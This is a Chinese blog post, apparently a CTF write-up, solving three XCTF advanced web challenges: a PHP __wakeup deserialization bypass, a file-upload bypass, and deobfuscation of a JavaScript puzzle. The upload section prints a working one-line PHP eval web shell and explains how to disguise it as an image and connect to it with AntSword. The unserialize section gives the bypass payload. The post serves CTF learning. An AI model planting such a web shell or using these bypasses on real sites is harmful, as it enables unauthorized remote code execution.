攻防世界web进阶

  • A+
所属分类:安全闲碎




unserialize3



知识点:反序列化漏洞,wakeup魔法函数

php<?phpclass xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=?>


先对代码补全然后进行审计。


class xctf{                      //定义一个名为xctf的类public $flag = '111';            //定义一个公有的类属性$flag,值为111public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本exit('bad requests');}}$a = new xctf();           //使用new运算符来实例化该类(xctf)的对象为aecho(serialize($a));       //输出被序列化的对象(a)



然后将代码放到vscode跑一下


攻防世界web进阶


但是我们还需要绕过weakup函数 否则就会输出bad requesets

//wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:

将真实值由1修改为2 O:4:"xctf":2:{s:4:"flag";s:3:"111";}


攻防世界web进阶

得到flag







upload1




攻防世界web进阶


这是一道常见的文件上传题,解题思路就是将一句话木马以图片形式上传,再抓包修改为php格式,然后放包,再用蚁剑链接即可。 <?php @eval($_POST['a']);?> 这是最常见的一句话木马,创建新文档,先用txt 然后改为jpg



攻防世界web进阶


然后用蚁剑连接

 

攻防世界web进阶


连接成功,进入文件找flag 


攻防世界web进阶








NaNNaNNaNNaN-Batman



这道题打开只有一个附件,下载后打开 发现是一堆乱码


<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}}'<input id="c">< onclick=$()>Ok</>');delete _var ","docu.)match(/"];/)!=null=["write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>

这是一个html代码,然后文档后缀改为html 


攻防世界web进阶


发现只有一个搜索框,我们试试将eval输出函数改为alert弹框函数,以便审计代码。


攻防世界web进阶


可以被打开,但是代码还是很乱,找到一个在线美化代码的网站试试将代码恢复


攻防世界web进阶


这里有两种方法可以得到flag


 一、e需要满足长度16,开头be023,之后跟233ac,c7be9,e98aa 优化因为长度只有16,优化一下be0233ac7be98aa 直接到搜索框输入就可以得到flag。

二、直接跑代码 

var t = ["fl", "sa", "i", "e}"]; var n = ["a", "h0l", "n"]; var r = ["g{", "e", "0"]; var i = ["it'", "", "n"]; var s = [t, n, r, i]; for (var o = 0; o < 13; ++o)      document.write(s[o % 4][0])


将这段代码放到火狐的控制台也可得到flag



end



攻防世界web进阶


本文始发于微信公众号(雷石安全实验室):攻防世界web进阶

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: